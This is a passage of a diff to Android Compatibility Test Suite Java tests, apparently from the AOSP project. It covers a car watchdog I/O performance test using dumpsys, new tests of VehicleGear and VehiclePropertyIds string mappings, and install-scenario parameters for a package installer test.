+        // Toggle the view twice to get the true and false broadcasts.
+        verifyItemCheckedChangeIntents(0, true);
+        verifyItemCheckedChangeIntents(0, false);
+        verifyItemCheckedChangeIntents(0, true);
+
+        // Switch to another child
+        verifySetDisplayedChild(2);
+        verifyItemCheckedChangeIntents(2, true);
+
+        // And one more
+        verifyShowCommand(CollectionAppWidgetProvider.KEY_SHOW_NEXT, 3);
+        verifyItemCheckedChangeIntents(3, true);
+    }
+
+    // Casting type for convenience. Test will fail either way if it's wrong.
+    @SuppressWarnings("unchecked")
+    private static <T extends View> T findFirstMatchingView(View view, Predicate<View> predicate) {
+        if (predicate.test(view)) {
+            return (T) view;
+        }
+        if ((!(view instanceof ViewGroup))) {
+            return null;
+        }
+
+        ViewGroup viewGroup = (ViewGroup) view;
+        for (int i = 0; i < viewGroup.getChildCount(); i++) {
+            View result = findFirstMatchingView(viewGroup.getChildAt(i), predicate);
+            if (result != null) {
+                return (T) result;
+            }
+        }
+
+        return null;
+    }
+
     private class ListScrollListener implements AbsListView.OnScrollListener {
         private CountDownLatch mLatchToNotify;
 
diff --git a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
index 4e45759..7f24d48 100644
--- a/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
+++ b/tests/tests/car/src/android/car/cts/CarWatchdogDaemonTest.java
@@ -85,14 +85,15 @@
     @Test
     public void testRecordsIoPerformanceData() throws Exception {
         String packageName = getContext().getPackageName();
-        runShellCommand("dumpsys " + CAR_WATCHDOG_SERVICE_NAME
-                + " --start_io --interval 5 --max_duration 120 --filter_packages " + packageName);
+        runShellCommand(
+                "dumpsys %s --start_perf --interval 5 --max_duration 120 --filter_packages %s",
+                CAR_WATCHDOG_SERVICE_NAME, packageName);
         long writtenBytes = writeToDisk(testDir);
         assertWithMessage("Failed to write data to dir '" + testDir.getAbsolutePath() + "'").that(
                 writtenBytes).isGreaterThan(0L);
         // Sleep twice the collection interval to capture the entire write.
         Thread.sleep(CAPTURE_WAIT_MS);
-        String contents = runShellCommand("dumpsys " + CAR_WATCHDOG_SERVICE_NAME + " --stop_io");
+        String contents = runShellCommand("dumpsys %s --stop_perf", CAR_WATCHDOG_SERVICE_NAME);
         Log.i(TAG, "stop results:" + contents);
         assertWithMessage("Failed to custom collect I/O performance data").that(
                 contents).isNotEmpty();
diff --git a/tests/tests/car/src/android/car/cts/VehicleGearTest.java b/tests/tests/car/src/android/car/cts/VehicleGearTest.java
new file mode 100644
index 0000000..5601757
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/VehicleGearTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.car.VehicleGear;
+import android.car.VehiclePropertyIds;
+import android.util.Log;
+
+import org.junit.Test;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.List;
+
+public class VehicleGearTest {
+    private static final String TAG = "VehicleGearTest";
+
+    /**
+     * Test for {@link VehicleGear#toString()}
+     */
+    @Test
+    public void testToString() {
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_UNKNOWN)).isEqualTo("GEAR_UNKNOWN");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_NEUTRAL)).isEqualTo("GEAR_NEUTRAL");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_REVERSE)).isEqualTo("GEAR_REVERSE");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_PARK)).isEqualTo("GEAR_PARK");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_DRIVE)).isEqualTo("GEAR_DRIVE");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_FIRST)).isEqualTo("GEAR_FIRST");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_SECOND)).isEqualTo("GEAR_SECOND");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_THIRD)).isEqualTo("GEAR_THIRD");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_FOURTH)).isEqualTo("GEAR_FOURTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_FIFTH)).isEqualTo("GEAR_FIFTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_SIXTH)).isEqualTo("GEAR_SIXTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_SEVENTH)).isEqualTo("GEAR_SEVENTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_EIGHTH)).isEqualTo("GEAR_EIGHTH");
+        assertThat(VehicleGear.toString(VehicleGear.GEAR_NINTH)).isEqualTo("GEAR_NINTH");
+        assertThat(VehicleGear.toString(3)).isEqualTo("0x3");
+        assertThat(VehicleGear.toString(12)).isEqualTo("0xc");
+
+    }
+
+    /**
+     * Test if all vehicle gears have a mapped string value.
+     */
+    @Test
+    public void testAllGearsAreMappedInToString() {
+        List<Integer> gears = getIntegersFromDataEnums(VehicleGear.class);
+        for (int gear : gears) {
+            String gearString = VehicleGear.toString(gear);
+            assertThat(gearString.startsWith("0x")).isFalse();
+        }
+    }
+    // Get all enums from the class.
+    private static List<Integer> getIntegersFromDataEnums(Class clazz) {
+        Field[] fields = clazz.getDeclaredFields();
+        List<Integer> integerList = new ArrayList<>(5);
+        for (Field f : fields) {
+            if (f.getType() == int.class) {
+                try {
+                    integerList.add(f.getInt(clazz));
+                } catch (IllegalAccessException | RuntimeException e) {
+                    Log.w(TAG, "Failed to get value");
+                }
+            }
+        }
+        return integerList;
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
new file mode 100644
index 0000000..d5520ab
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/VehiclePropertyIdsTest.java
@@ -0,0 +1,340 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.car.VehicleGear;
+import android.car.VehiclePropertyIds;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.List;
+
+@SmallTest
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+public class VehiclePropertyIdsTest {
+    private static final String TAG = "VehiclePropertyIdsTest";
+
+    /**
+     * Test for {@link VehiclePropertyIds#toString()}
+     */
+    @Test
+    public void testToString() {
+
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INVALID))
+                .isEqualTo("INVALID");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.IGNITION_STATE))
+                .isEqualTo("IGNITION_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_DRIVER_SEAT))
+                .isEqualTo("INFO_DRIVER_SEAT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_EV_BATTERY_CAPACITY))
+                .isEqualTo("INFO_EV_BATTERY_CAPACITY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_EV_CONNECTOR_TYPE))
+                .isEqualTo("INFO_EV_CONNECTOR_TYPE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_EV_PORT_LOCATION))
+                .isEqualTo("INFO_EV_PORT_LOCATION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_EXTERIOR_DIMENSIONS))
+                .isEqualTo("INFO_EXTERIOR_DIMENSIONS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_FUEL_CAPACITY))
+                .isEqualTo("INFO_FUEL_CAPACITY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_FUEL_DOOR_LOCATION))
+                .isEqualTo("INFO_FUEL_DOOR_LOCATION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_FUEL_TYPE))
+                .isEqualTo("INFO_FUEL_TYPE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_MAKE))
+                .isEqualTo("INFO_MAKE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_MODEL))
+                .isEqualTo("INFO_MODEL");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_MODEL_YEAR))
+                .isEqualTo("INFO_MODEL_YEAR");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_MULTI_EV_PORT_LOCATIONS))
+                .isEqualTo("INFO_MULTI_EV_PORT_LOCATIONS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.INFO_VIN))
+                .isEqualTo("INFO_VIN");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_ODOMETER))
+                .isEqualTo("PERF_ODOMETER");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_REAR_STEERING_ANGLE))
+                .isEqualTo("PERF_REAR_STEERING_ANGLE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_STEERING_ANGLE))
+                .isEqualTo("PERF_STEERING_ANGLE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_VEHICLE_SPEED))
+                .isEqualTo("PERF_VEHICLE_SPEED");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PERF_VEHICLE_SPEED_DISPLAY))
+                .isEqualTo("PERF_VEHICLE_SPEED_DISPLAY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENGINE_COOLANT_TEMP))
+                .isEqualTo("ENGINE_COOLANT_TEMP");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENGINE_OIL_LEVEL))
+                .isEqualTo("ENGINE_OIL_LEVEL");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENGINE_OIL_TEMP))
+                .isEqualTo("ENGINE_OIL_TEMP");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENGINE_RPM))
+                .isEqualTo("ENGINE_RPM");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.WHEEL_TICK))
+                .isEqualTo("WHEEL_TICK");
+        assertThat(VehiclePropertyIds.toString(
+                VehiclePropertyIds.FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME))
+                .isEqualTo("FUEL_CONSUMPTION_UNITS_DISTANCE_OVER_VOLUME");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FUEL_DOOR_OPEN))
+                .isEqualTo("FUEL_DOOR_OPEN");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FUEL_LEVEL))
+                .isEqualTo("FUEL_LEVEL");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FUEL_LEVEL_LOW))
+                .isEqualTo("FUEL_LEVEL_LOW");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FUEL_VOLUME_DISPLAY_UNITS))
+                .isEqualTo("FUEL_VOLUME_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.EV_BATTERY_DISPLAY_UNITS))
+                .isEqualTo("EV_BATTERY_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(
+                VehiclePropertyIds.EV_BATTERY_INSTANTANEOUS_CHARGE_RATE))
+                .isEqualTo("EV_BATTERY_INSTANTANEOUS_CHARGE_RATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.EV_BATTERY_LEVEL))
+                .isEqualTo("EV_BATTERY_LEVEL");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.EV_CHARGE_PORT_CONNECTED))
+                .isEqualTo("EV_CHARGE_PORT_CONNECTED");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.EV_CHARGE_PORT_OPEN))
+                .isEqualTo("EV_CHARGE_PORT_OPEN");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.RANGE_REMAINING))
+                .isEqualTo("RANGE_REMAINING");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.TIRE_PRESSURE)).
+                isEqualTo("TIRE_PRESSURE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.TIRE_PRESSURE_DISPLAY_UNITS))
+                .isEqualTo("TIRE_PRESSURE_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.GEAR_SELECTION))
+                .isEqualTo("GEAR_SELECTION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.CURRENT_GEAR))
+                .isEqualTo("CURRENT_GEAR");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PARKING_BRAKE_ON))
+                .isEqualTo("PARKING_BRAKE_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.PARKING_BRAKE_AUTO_APPLY))
+                .isEqualTo("PARKING_BRAKE_AUTO_APPLY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.NIGHT_MODE))
+                .isEqualTo("NIGHT_MODE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.TURN_SIGNAL_STATE))
+                .isEqualTo("TURN_SIGNAL_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ABS_ACTIVE))
+                .isEqualTo("ABS_ACTIVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.TRACTION_CONTROL_ACTIVE))
+                .isEqualTo("TRACTION_CONTROL_ACTIVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_AC_ON))
+                .isEqualTo("HVAC_AC_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_ACTUAL_FAN_SPEED_RPM))
+                .isEqualTo("HVAC_ACTUAL_FAN_SPEED_RPM");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_AUTO_ON))
+                .isEqualTo("HVAC_AUTO_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_AUTO_RECIRC_ON))
+                .isEqualTo("HVAC_AUTO_RECIRC_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_DEFROSTER))
+                .isEqualTo("HVAC_DEFROSTER");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_DUAL_ON))
+                .isEqualTo("HVAC_DUAL_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_FAN_DIRECTION))
+                .isEqualTo("HVAC_FAN_DIRECTION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_FAN_DIRECTION_AVAILABLE))
+                .isEqualTo("HVAC_FAN_DIRECTION_AVAILABLE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_FAN_SPEED))
+                .isEqualTo("HVAC_FAN_SPEED");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_MAX_AC_ON))
+                .isEqualTo("HVAC_MAX_AC_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_MAX_DEFROST_ON))
+                .isEqualTo("HVAC_MAX_DEFROST_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_POWER_ON))
+                .isEqualTo("HVAC_POWER_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_RECIRC_ON))
+                .isEqualTo("HVAC_RECIRC_ON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_SEAT_TEMPERATURE))
+                .isEqualTo("HVAC_SEAT_TEMPERATURE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_SEAT_VENTILATION))
+                .isEqualTo("HVAC_SEAT_VENTILATION");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_SIDE_MIRROR_HEAT))
+                .isEqualTo("HVAC_SIDE_MIRROR_HEAT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_STEERING_WHEEL_HEAT))
+                .isEqualTo("HVAC_STEERING_WHEEL_HEAT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_TEMPERATURE_CURRENT))
+                .isEqualTo("HVAC_TEMPERATURE_CURRENT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_TEMPERATURE_DISPLAY_UNITS))
+                .isEqualTo("HVAC_TEMPERATURE_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HVAC_TEMPERATURE_SET))
+                .isEqualTo("HVAC_TEMPERATURE_SET");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DISTANCE_DISPLAY_UNITS))
+                .isEqualTo("DISTANCE_DISPLAY_UNITS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.ENV_OUTSIDE_TEMPERATURE))
+                .isEqualTo("ENV_OUTSIDE_TEMPERATURE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.AP_POWER_BOOTUP_REASON))
+                .isEqualTo("AP_POWER_BOOTUP_REASON");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.AP_POWER_STATE_REPORT))
+                .isEqualTo("AP_POWER_STATE_REPORT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.AP_POWER_STATE_REQ))
+                .isEqualTo("AP_POWER_STATE_REQ");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DISPLAY_BRIGHTNESS))
+                .isEqualTo("DISPLAY_BRIGHTNESS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HW_KEY_INPUT))
+                .isEqualTo("HW_KEY_INPUT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DOOR_LOCK))
+                .isEqualTo("DOOR_LOCK");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DOOR_MOVE))
+                .isEqualTo("DOOR_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.DOOR_POS))
+                .isEqualTo("DOOR_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_FOLD))
+                .isEqualTo("MIRROR_FOLD");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_LOCK))
+                .isEqualTo("MIRROR_LOCK");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_Y_MOVE))
+                .isEqualTo("MIRROR_Y_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_Y_POS))
+                .isEqualTo("MIRROR_Y_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_Z_MOVE))
+                .isEqualTo("MIRROR_Z_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.MIRROR_Z_POS))
+                .isEqualTo("MIRROR_Z_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BACKREST_ANGLE_1_MOVE))
+                .isEqualTo("SEAT_BACKREST_ANGLE_1_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BACKREST_ANGLE_1_POS))
+                .isEqualTo("SEAT_BACKREST_ANGLE_1_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BACKREST_ANGLE_2_MOVE))
+                .isEqualTo("SEAT_BACKREST_ANGLE_2_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BACKREST_ANGLE_2_POS))
+                .isEqualTo("SEAT_BACKREST_ANGLE_2_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BELT_BUCKLED))
+                .isEqualTo("SEAT_BELT_BUCKLED");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BELT_HEIGHT_MOVE))
+                .isEqualTo("SEAT_BELT_HEIGHT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_BELT_HEIGHT_POS))
+                .isEqualTo("SEAT_BELT_HEIGHT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_DEPTH_MOVE))
+                .isEqualTo("SEAT_DEPTH_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_DEPTH_POS))
+                .isEqualTo("SEAT_DEPTH_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_FORE_AFT_MOVE))
+                .isEqualTo("SEAT_FORE_AFT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_FORE_AFT_POS))
+                .isEqualTo("SEAT_FORE_AFT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_ANGLE_MOVE))
+                .isEqualTo("SEAT_HEADREST_ANGLE_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_ANGLE_POS))
+                .isEqualTo("SEAT_HEADREST_ANGLE_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_FORE_AFT_MOVE))
+                .isEqualTo("SEAT_HEADREST_FORE_AFT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_FORE_AFT_POS))
+                .isEqualTo("SEAT_HEADREST_FORE_AFT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_HEIGHT_MOVE))
+                .isEqualTo("SEAT_HEADREST_HEIGHT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEADREST_HEIGHT_POS))
+                .isEqualTo("SEAT_HEADREST_HEIGHT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEIGHT_MOVE))
+                .isEqualTo("SEAT_HEIGHT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_HEIGHT_POS))
+                .isEqualTo("SEAT_HEIGHT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_LUMBAR_FORE_AFT_MOVE))
+                .isEqualTo("SEAT_LUMBAR_FORE_AFT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_LUMBAR_FORE_AFT_POS))
+                .isEqualTo("SEAT_LUMBAR_FORE_AFT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_LUMBAR_SIDE_SUPPORT_MOVE))
+                .isEqualTo("SEAT_LUMBAR_SIDE_SUPPORT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_LUMBAR_SIDE_SUPPORT_POS))
+                .isEqualTo("SEAT_LUMBAR_SIDE_SUPPORT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_MEMORY_SELECT))
+                .isEqualTo("SEAT_MEMORY_SELECT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_MEMORY_SET))
+                .isEqualTo("SEAT_MEMORY_SET");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_OCCUPANCY))
+                .isEqualTo("SEAT_OCCUPANCY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_TILT_MOVE))
+                .isEqualTo("SEAT_TILT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_TILT_POS))
+                .isEqualTo("SEAT_TILT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.WINDOW_LOCK))
+                .isEqualTo("WINDOW_LOCK");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.WINDOW_MOVE))
+                .isEqualTo("WINDOW_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.WINDOW_POS))
+                .isEqualTo("WINDOW_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.VEHICLE_MAP_SERVICE))
+                .isEqualTo("VEHICLE_MAP_SERVICE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.OBD2_FREEZE_FRAME))
+                .isEqualTo("OBD2_FREEZE_FRAME");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.OBD2_FREEZE_FRAME_CLEAR))
+                .isEqualTo("OBD2_FREEZE_FRAME_CLEAR");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.OBD2_FREEZE_FRAME_INFO))
+                .isEqualTo("OBD2_FREEZE_FRAME_INFO");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.OBD2_LIVE_FRAME))
+                .isEqualTo("OBD2_LIVE_FRAME");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HEADLIGHTS_STATE))
+                .isEqualTo("HEADLIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HEADLIGHTS_SWITCH))
+                .isEqualTo("HEADLIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HIGH_BEAM_LIGHTS_STATE))
+                .isEqualTo("HIGH_BEAM_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HIGH_BEAM_LIGHTS_SWITCH))
+                .isEqualTo("HIGH_BEAM_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FOG_LIGHTS_STATE))
+                .isEqualTo("FOG_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FOG_LIGHTS_SWITCH))
+                .isEqualTo("FOG_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HAZARD_LIGHTS_STATE))
+                .isEqualTo("HAZARD_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HAZARD_LIGHTS_SWITCH))
+                .isEqualTo("HAZARD_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.CABIN_LIGHTS_STATE))
+                .isEqualTo("CABIN_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.CABIN_LIGHTS_SWITCH))
+                .isEqualTo("CABIN_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.READING_LIGHTS_STATE))
+                .isEqualTo("READING_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.READING_LIGHTS_SWITCH))
+                .isEqualTo("READING_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(3)).isEqualTo("0x3");
+        assertThat(VehiclePropertyIds.toString(12)).isEqualTo("0xc");
+    }
+
+    /**
+     * Test if all system properties have a mapped string value.
+     */
+    @Test
+    public void testAllPropertiesAreMappedInToString() {
+        List<Integer> systemProperties = getIntegersFromDataEnums(VehiclePropertyIds.class);
+        for (int propertyId : systemProperties) {
+            String propertyString = VehiclePropertyIds.toString(propertyId);
+            assertThat(propertyString.startsWith("0x")).isFalse();
+        }
+    }
+    // Get all enums from the class.
+    private static List<Integer> getIntegersFromDataEnums(Class clazz) {
+        Field[] fields = clazz.getDeclaredFields();
+        List<Integer> integerList = new ArrayList<>(5);
+        for (Field f : fields) {
+            if (f.getType() == int.class) {
+                try {
+                    integerList.add(f.getInt(clazz));
+                } catch (IllegalAccessException | RuntimeException e) {
+                    Log.w(TAG, "Failed to get value");
+                }
+            }
+        }
+        return integerList;
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
index 46df40e..d7af7a8 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -27,6 +27,10 @@
 import static android.content.pm.PackageManager.INSTALL_REASON_POLICY;
 import static android.content.pm.PackageManager.INSTALL_REASON_UNKNOWN;
 import static android.content.pm.PackageManager.INSTALL_REASON_USER;
+import static android.content.pm.PackageManager.INSTALL_SCENARIO_BULK;
+import static android.content.pm.PackageManager.INSTALL_SCENARIO_BULK_SECONDARY;
+import static android.content.pm.PackageManager.INSTALL_SCENARIO_DEFAULT;
+import static android.content.pm.PackageManager.INSTALL_SCENARIO_FAST;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -83,6 +87,8 @@
     @Parameterized.Parameter(9)
     public Optional<Integer> installReason;
     @Parameterized.Parameter(10)
+    public Optional<Integer> installScenario;
+    @Parameterized.Parameter(11)
     public boolean expectFailure;
 
     private PackageInstaller mInstaller = InstrumentationRegistry.getInstrumentation()
